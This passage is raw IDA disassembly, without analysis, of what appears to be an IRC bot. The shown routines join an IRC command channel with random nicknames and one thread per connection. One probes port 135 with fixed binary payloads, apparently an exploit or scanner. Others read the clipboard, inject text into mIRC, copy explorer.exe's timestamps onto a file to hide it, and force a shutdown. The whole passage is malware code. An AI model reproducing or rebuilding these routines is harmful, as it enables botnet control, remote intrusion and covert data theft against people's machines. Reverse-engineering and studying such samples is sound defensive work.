[ebp+edi*4+var_20], eax inc edi pop ecx cmp edi, 8 pop ecx jl short loc_417D41 cmp [ebp+var_20], ebx mov esi, [ebp+var_1C] jnz short loc_417D68 cmp esi, ebx jnz short loc_417D68 xor eax, eax inc eax jmp loc_417E0D ; --------------------------------------------------------------------------- loc_417D68: ; CODE XREF: sub_417D1D+3Dj ; sub_417D1D+41j push [ebp+var_20] push offset aPing ; "PING" call sub_41C840 pop ecx pop ecx test eax, eax push esi jnz short loc_417D92 lea eax, [ebp+var_220] push offset dword_43B480 push eax call sub_41C056 add esp, 0Ch jmp short loc_417DEC ; --------------------------------------------------------------------------- loc_417D92: ; CODE XREF: sub_417D1D+5Dj push offset a433 ; "433" call sub_41C840 pop ecx test eax, eax pop ecx jz short loc_417DB3 push esi push offset dword_43B47C call sub_41C840 pop ecx test eax, eax pop ecx jnz short loc_417E0B loc_417DB3: ; CODE XREF: sub_417D1D+83j push 200h lea eax, [ebp+var_420] push ebx push eax call sub_41BD60 lea eax, [ebp+var_420] push eax call sub_41802F lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_43B470 push eax call sub_41C056 add esp, 1Ch loc_417DEC: ; CODE XREF: sub_417D1D+73j lea eax, [ebp+var_220] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CDCB4 ; send loc_417E0B: ; CODE XREF: sub_417D1D+94j xor eax, eax loc_417E0D: ; CODE XREF: sub_417D1D+46j pop edi pop esi pop ebx leave retn sub_417D1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E12 proc near ; DATA XREF: sub_417FB1+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C2F0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h xor edi, edi push dword_4D6FCC[esi] lea eax, dword_4D6DCC[esi] inc edi push eax mov dword_4D6DC0[esi], edi call sub_417C50 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D6DC4[esi], eax jb loc_417F91 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BD60 lea eax, [ebp+var_2008] push eax call sub_41802F lea eax, [ebp+var_4008] push eax call sub_41802F lea eax, [ebp+var_3008] push eax call sub_41802F lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C056 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B7B0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D6DC4[esi] call dword_4CDCB4 ; send push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD60 add esp, 0Ch loc_417EEB: ; CODE XREF: sub_417E12+17Aj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D6DC4[esi] call dword_4CDC7C ; recv cmp eax, ebx mov [ebp+var_8], eax jle short loc_417F91 xor eax, eax cmp [ebp+var_8], ebx jmp short loc_417F87 ; --------------------------------------------------------------------------- loc_417F1F: ; CODE XREF: sub_417E12+178j mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417F46 cmp al, 0Ah jz short loc_417F46 cmp [ebp+arg_0], 0FA0h jz short loc_417F46 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417F80 ; --------------------------------------------------------------------------- loc_417F46: ; CODE XREF: sub_417E12+116j ; sub_417E12+11Aj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417F80 push dword_4D6DC4[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417D1D pop ecx test eax, eax pop ecx ja short loc_417F91 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BD60 add esp, 0Ch mov [ebp+arg_0], ebx loc_417F80: ; CODE XREF: sub_417E12+132j ; sub_417E12+139j mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] loc_417F87: ; CODE XREF: sub_417E12+10Bj mov [ebp+var_4], eax jnz short loc_417F1F jmp loc_417EEB ; --------------------------------------------------------------------------- loc_417F91: ; CODE XREF: sub_417E12+40j ; sub_417E12+104j ... mov dword_4D6DC0[esi], ebx mov esi, dword_4D6DC4[esi] cmp esi, ebx jbe short loc_417FA8 push esi call dword_4CDCFC ; closesocket loc_417FA8: ; CODE XREF: sub_417E12+18Dj pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417E12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FB1 proc near ; CODE XREF: sub_401B66+31ADp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_41802A loc_417FC3: ; CODE XREF: sub_417FB1+77j xor edi, edi mov eax, offset dword_4D6DC0 loc_417FCA: ; CODE XREF: sub_417FB1+28j cmp [eax], ebx jz short loc_417FDB add eax, 210h inc edi cmp eax, offset dword_4DD4E0 jl short loc_417FCA loc_417FDB: ; CODE XREF: sub_417FB1+1Bj cmp edi, 31h jz short loc_41802A mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D6DCC[esi] push eax call sub_41C680 mov eax, [ebp+arg_4] pop ecx mov dword_4D6FCC[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D6DC0[esi], 1 push eax push ebx push edi push offset sub_417E12 push ebx push ebx call dword_42807C ; CreateThread inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417FC3 loc_41802A: ; CODE XREF: sub_417FB1+10j ; sub_417FB1+2Dj pop edi pop esi pop ebx leave retn sub_417FB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41802F proc near ; CODE XREF: sub_401B66+3700p ; sub_401B66+3743p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BD60 add esp, 0Ch call sub_41C0B2 mov [ebp+var_4], eax fild [ebp+var_4] fmul dbl_4286F8 call sub_41CF68 cmp eax, 1 jnz short loc_418079 call sub_41C0B2 call sub_41C0B2 push 66h cdq pop ecx idiv ecx push dword ptr loc_43ABBF+1[edx*4] jmp short loc_418092 ; --------------------------------------------------------------------------- loc_418079: ; CODE XREF: sub_41802F+2Fj call sub_41C0B2 call sub_41C0B2 cdq mov ecx, 0C0h idiv ecx push off_43A8C0[edx*4] loc_418092: ; CODE XREF: sub_41802F+48j lea eax, [ebp+var_2C] push eax call sub_41C680 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B7B0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax call sub_41C0B2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_4286F0 call sub_41CF68 mov ebx, eax call sub_41C0B2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fimul [ebp+var_4] fmul dbl_4286E8 call sub_41CF68 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_418105 cmp esi, 3 jnz short loc_4180FC cmp ebx, 1 jz short loc_418105 loc_4180FC: ; CODE XREF: sub_41802F+C6j cmp eax, 1 jnz loc_4181BE loc_418105: ; CODE XREF: sub_41802F+C1j ; sub_41802F+CBj call sub_41C0B2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul dbl_4286E0 call sub_41CF68 push dword ptr loc_43ABBF+1[eax*4] lea eax, [ebp+var_40] push eax call sub_41C680 lea ebx, [ebp+esi+var_2C] movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C780 add esp, 10h test eax, eax jnz short loc_4181AB movsx eax, [ebp+var_40] push eax push edi call sub_41C780 pop ecx test eax, eax pop ecx jnz short loc_4181AB call sub_41C0B2 mov dword ptr [ebp+var_10+4], eax dec esi fild dword ptr [ebp+var_10+4] mov dword ptr [ebp+var_10+4], esi fild dword ptr [ebp+var_10+4] fmulp st(1), st fmul dbl_4286E8 call sub_41CF68 cmp eax, 1 jnz short loc_4181AB push edi call sub_41B7B0 and dword ptr [ebp+var_10+4], 0 mov dword ptr [ebp+var_10], eax fild [ebp+var_10] pop ecx fstp qword ptr [ebp-8] call sub_41C0B2 mov dword ptr [ebp+var_10+4], eax fild dword ptr [ebp+var_10+4] fmul qword ptr [ebp-8] fmul dbl_4286E8 call sub_41CF68 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_4181AB: ; CODE XREF: sub_41802F+110j ; sub_41802F+121j ... push dword ptr [ebp+var_18+4] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C9B0 add esp, 0Ch loc_4181BE: ; CODE XREF: sub_41802F+D0j lea eax, [ebp+var_2C] push eax call sub_41B7B0 mov esi, eax mov [ebp+var_4], esi movsx eax, [ebp+esi+var_2D] push eax call sub_41DE48 pop ecx test eax, eax pop ecx jnz loc_418415 movsx eax, [ebp+esi+var_2D] push eax push edi xor ebx, ebx call sub_41C780 pop ecx test eax, eax pop ecx jnz loc_418317 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4286E8 call sub_41CF68 cmp esi, 3 jz short loc_418228 cmp eax, 1 jnz loc_418317 loc_418228: ; CODE XREF: sub_41802F+1EEj push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_41826C push edi call sub_41B7B0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_4286E8 call sub_41CF68 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41828A ; --------------------------------------------------------------------------- loc_41826C: ; CODE XREF: sub_41802F+202j call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286D8 call sub_41CF68 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41828A: ; CODE XREF: sub_41802F+23Bj inc esi xor ebx, ebx mov [ebp+var_4], esi inc ebx call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286D0 call sub_41CF68 cmp esi, 3 jz short loc_4182B0 cmp eax, ebx jnz short loc_418317 loc_4182B0: ; CODE XREF: sub_41802F+27Bj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4182F5 push edi call sub_41B7B0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp [ebp+var_10] call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul [ebp+var_10] fmul dbl_4286E8 call sub_41CF68 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_418313 ; --------------------------------------------------------------------------- loc_4182F5: ; CODE XREF: sub_41802F+28Bj call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286D8 call sub_41CF68 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_418313: ; CODE XREF: sub_41802F+2C4j inc esi mov [ebp+var_4], esi loc_418317: ; CODE XREF: sub_41802F+1C4j ; sub_41802F+1F3j ... cmp esi, 6 jge short loc_418397 call sub_41C0B2 cmp esi, 5 jge short loc_418334 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286F0 jmp short loc_41834D ; --------------------------------------------------------------------------- loc_418334: ; CODE XREF: sub_41802F+2F5j push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4286E8 loc_41834D: ; CODE XREF: sub_41802F+303j call sub_41CF68 test eax, eax jnz short loc_418370 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C8 call sub_41CF68 mov cl, 30h jmp short loc_41838D ; --------------------------------------------------------------------------- loc_418370: ; CODE XREF: sub_41802F+325j cmp eax, 1 jnz short loc_418397 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286D8 call sub_41CF68 mov cl, 41h loc_41838D: ; CODE XREF: sub_41802F+33Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_418397: ; CODE XREF: sub_41802F+2EBj ; sub_41802F+344j cmp ebx, 2 jge short loc_418415 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4286E8 call sub_41CF68 cmp eax, 1 jnz short loc_418415 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C8 call sub_41CF68 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286C0 call sub_41CF68 cmp eax, 1 jnz short loc_418415 cmp ebx, eax jge short loc_418415 call sub_41C0B2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4286B8 call sub_41CF68 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_418415: ; CODE XREF: sub_41802F+1ACj ; sub_41802F+36Bj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BDC0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_41802F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41842E proc near ; CODE XREF: sub_418466+125p ; sub_418466+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_41845C loc_41843F: ; CODE XREF: sub_41842E+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DEA0 add esp, 0Ch test eax, eax jz short loc_418462 inc esi cmp esi, edi jl short loc_41843F loc_41845C: ; CODE XREF: sub_41842E+Fj xor al, al loc_41845E: ; CODE XREF: sub_41842E+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_418462: ; CODE XREF: sub_41842E+27j mov al, 1 jmp short loc_41845E sub_41842E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418466 proc near ; CODE XREF: sub_40DE14+8Bp var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C2F0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4184A7 dec eax jz short loc_418485 dec eax loc_41847F: ; CODE XREF: sub_418466+57j xor eax, eax loc_418481: ; CODE XREF: sub_418466+3Fj ; sub_418466+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_418485: ; CODE XREF: sub_418466+16j push 3 push 1388h push [ebp+arg_0] call dword_4CDCA4 ; inet_addr push eax call sub_40BF0D add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418481 ; --------------------------------------------------------------------------- loc_4184A7: ; CODE XREF: sub_418466+13j push 6 push 1 push 2 call dword_4CDCE4 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_41847F push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4CDC64 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_40AA04 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CDC0C ; connect cmp eax, edi jz loc_4185C3 push ebx push 48h push offset dword_43B4C8 push esi call dword_4CDCB4 ; send cmp eax, edi jz loc_4185C3 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CDC7C ; recv cmp eax, edi jz loc_4185C3 cmp [ebp+var_200E], 0Ch jnz short loc_4185C3 push ebx push 18h push offset dword_43B514 push [ebp+arg_4] call dword_4CDCB4 ; send cmp eax, edi jz short loc_4185C3 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4CDC7C ; recv mov esi, eax cmp esi, edi jz short loc_4185C3 cmp [ebp+var_200E], 2 jnz short loc_4185C3 push 10h push offset loc_43B530 lea eax, [ebp+var_2010] push esi push eax call sub_41842E add esp, 10h test al, al jz short loc_4185A3 cmp esi, 12Ch setnl bl inc ebx jmp short loc_4185C3 ; --------------------------------------------------------------------------- loc_4185A3: ; CODE XREF: sub_418466+12Fj push 10h push offset dword_43B544 lea eax, [ebp+var_2010] push esi push eax call sub_41842E add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4185C3: ; CODE XREF: sub_418466+9Bj ; sub_418466+B2j ... push [ebp+arg_4] call dword_4CDCFC ; closesocket mov eax, ebx pop ebx jmp loc_418481 sub_418466 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185D4 proc near ; CODE XREF: sub_401B66+B4Dp ; sub_401B66+B87p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_41865F mov eax, [ebp+arg_4] cmp eax, esi jz short loc_41865F cmp [ebp+arg_8], esi jz short loc_41865F cmp byte ptr [eax], 0 jz short loc_41865F push ebx push edi call sub_426C69 mov ebx, eax pop ecx test ebx, ebx jz short loc_41865A push [ebp+arg_4] push edi call sub_41C0D0 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_418653 sub eax, edi push eax push edi push ebx call sub_41BDC0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B7B0 push eax push [ebp+arg_8] push ebx call sub_41C9B0 push [ebp+arg_4] call sub_41B7B0 add eax, esi push eax push ebx call sub_41C690 push ebx push edi call sub_41C680 add esp, 30h mov esi, edi loc_418653: ; CODE XREF: sub_4185D4+3Cj push ebx call sub_41B881 pop ecx loc_41865A: ; CODE XREF: sub_4185D4+2Bj mov eax, esi pop ebx jmp short loc_418661 ; --------------------------------------------------------------------------- loc_41865F: ; CODE XREF: sub_4185D4+Cj ; sub_4185D4+13j ... xor eax, eax loc_418661: ; CODE XREF: sub_4185D4+89j pop edi pop esi pop ebp retn sub_4185D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418665 proc near ; CODE XREF: sub_4019F7+DCp var_7D0 = dword ptr -7D0h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push edi xor ebx, ebx push 7D0h lea eax, [ebp+var_7D0] push ebx push eax call sub_41BD60 mov esi, [ebp+arg_0] push esi call sub_41B7B0 xor edi, edi add esp, 10h inc edi cmp eax, edi jge short loc_41869D or eax, 0FFFFFFFFh jmp short loc_418704 ; --------------------------------------------------------------------------- loc_41869D: ; CODE XREF: sub_418665+31j xor ecx, ecx cmp eax, ebx mov [ebp+var_7D0], esi jle short loc_4186BE loc_4186A9: ; CODE XREF: sub_418665+57j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_4186B6 cmp dl, 0Dh jnz short loc_4186B9 loc_4186B6: ; CODE XREF: sub_418665+4Aj mov [ecx+esi], bl loc_4186B9: ; CODE XREF: sub_418665+4Fj inc ecx cmp ecx, eax jl short loc_4186A9 loc_4186BE: ; CODE XREF: sub_418665+42j xor edx, edx cmp eax, ebx jle short loc_4186E6 loc_4186C4: ; CODE XREF: sub_418665+7Fj cmp [edx+esi], bl jnz short loc_4186E1 lea ecx, [edx+esi+1] cmp [ecx], bl jz short loc_4186E1 cmp edi, 1F4h jge short loc_4186E6 mov [ebp+edi*4+var_7D0], ecx inc edi loc_4186E1: ; CODE XREF: sub_418665+62j ; sub_418665+6Aj inc edx cmp edx, eax jl short loc_4186C4 loc_4186E6: ; CODE XREF: sub_418665+5Dj ; sub_418665+72j cmp [ebp+arg_4], ebx jz short loc_418702 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call near ptr sub_41CAE0 add esp, 0Ch loc_418702: ; CODE XREF: sub_418665+84j mov eax, edi loc_418704: ; CODE XREF: sub_418665+36j pop edi pop esi pop ebx leave retn sub_418665 endp ; =============== S U B R O U T I N E ======================================= sub_418709 proc near ; CODE XREF: sub_418763+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418742 push ebx mov ebx, edi loc_418726: ; CODE XREF: sub_418709+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418745 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418726 pop ebx loc_418742: ; CODE XREF: sub_418709+18j pop edi pop esi retn sub_418709 endp ; =============== S U B R O U T I N E ======================================= sub_418745 proc near ; CODE XREF: sub_418709+25p ; sub_418763+69p arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41DF4C cmp al, 61h pop ecx jl short loc_418760 cmp al, 7Ah jg short loc_418760 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418760: ; CODE XREF: sub_418745+Ej ; sub_418745+12j xor eax, eax retn sub_418745 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418763 proc near ; CODE XREF: sub_415886+A0p var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41C2F0 push ebx push esi push edi push [ebp+arg_0] call sub_41B7B0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41B7B0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_418709 add esp, 14h dec esi mov edi, esi jmp short loc_418815 ; --------------------------------------------------------------------------- loc_4187A3: ; CODE XREF: sub_418763+B4j mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41DF4C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41DF4C pop ecx cmp eax, ebx pop ecx jz short loc_418813 loc_4187C5: ; CODE XREF: sub_418763+AEj mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418745 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_4187E6 mov eax, ecx loc_4187E6: ; CODE XREF: sub_418763+7Fj add edi, eax cmp edi, [ebp+var_4] jge short loc_418823 mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41DF4C movsx ecx, byte ptr [edi+ebx] push ecx mov [ebp+var_8], eax call sub_41DF4C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4187C5 loc_418813: ; CODE XREF: sub_418763+60j dec edi dec esi loc_418815: ; CODE XREF: sub_418763+3Ej test esi, esi jg short loc_4187A3 mov eax, [ebp+arg_0] add eax, edi loc_41881E: ; CODE XREF: sub_418763+C2j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_418763+88j xor eax, eax jmp short loc_41881E sub_418763 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418827 proc near ; CODE XREF: sub_401B66+66D0p ; sub_401B66+776Ap var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi call dword_42808C ; RtlGetLastWin32Error mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h call dword_42815C ; FormatMessageA lea eax, [ebp+var_100] loc_418860: ; CODE XREF: sub_418827+46j mov cl, [eax] cmp cl, 1Fh jg short loc_41886C cmp cl, 9 jnz short loc_41886F loc_41886C: ; CODE XREF: sub_418827+3Ej inc eax jmp short loc_418860 ; --------------------------------------------------------------------------- loc_41886F: ; CODE XREF: sub_418827+43j ; sub_418827+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_418889 mov cl, [eax] cmp cl, 2Eh jz short loc_41886F cmp cl, 21h jl short loc_41886F loc_418889: ; CODE XREF: sub_418827+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DD4E0 push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41C150 add esp, 18h mov eax, esi pop esi leave retn sub_418827 endp ; =============== S U B R O U T I N E ======================================= sub_4188B1 proc near ; CODE XREF: sub_401B66+23FDp push esi push 0 call dword_4CDC34 ; OpenClipboard test eax, eax jz short loc_4188E8 push 1 call dword_4CDC54 ; GetClipboardData mov esi, eax test esi, esi jz short loc_4188E8 push edi push esi call dword_428164 ; GlobalLock push esi mov edi, eax call dword_428160 ; GlobalUnlock call dword_4CDCB8 ; CloseClipboard mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4188E8: ; CODE XREF: sub_4188B1+Bj ; sub_4188B1+19j xor eax, eax pop esi retn sub_4188B1 endp ; =============== S U B R O U T I N E ======================================= sub_4188EC proc near ; CODE XREF: sub_401B66+7515p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CDC70 ; FindWindowA mov ebp, eax cmp ebp, esi jz short loc_418968 push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh call dword_428170 ; CreateFileMappingA push esi push esi mov edi, eax push esi push 0F001Fh push edi call dword_42816C ; MapViewOfFile push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41C056 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CDCC0 ; SendMessageA push esi push 1 push 4C9h push ebp call dword_4CDCC0 ; SendMessageA push ebx call dword_428168 ; UnmapViewOfFile push edi call dword_42806C ; CloseHandle xor eax, eax pop ebx inc eax jmp short loc_41896A ; --------------------------------------------------------------------------- loc_418968: ; CODE XREF: sub_4188EC+16j xor eax, eax loc_41896A: ; CODE XREF: sub_4188EC+7Aj pop edi pop esi pop ebp retn sub_4188EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41896E proc near ; CODE XREF: sub_401252+203p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CDD1C ; SearchPathA test eax, eax jz short loc_418A0D mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4280EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418A0D lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx call dword_428178 ; GetFileTime push ebx mov ebx, dword_42806C call ebx ; CloseHandle push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418A0D lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call dword_428174 ; SetFileTime push esi call ebx ; CloseHandle loc_418A0D: ; CODE XREF: sub_41896E+2Aj ; sub_41896E+51j ... pop edi pop esi pop ebx leave retn sub_41896E endp ; =============== S U B R O U T I N E ======================================= sub_418A12 proc near ; CODE XREF: sub_401B66+15F6p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419E0C pop ecx pop ecx push 50005h push 6 call dword_4CDBA4 ; ExitWindowsEx neg eax sbb eax, eax neg eax retn sub_418A12 endp 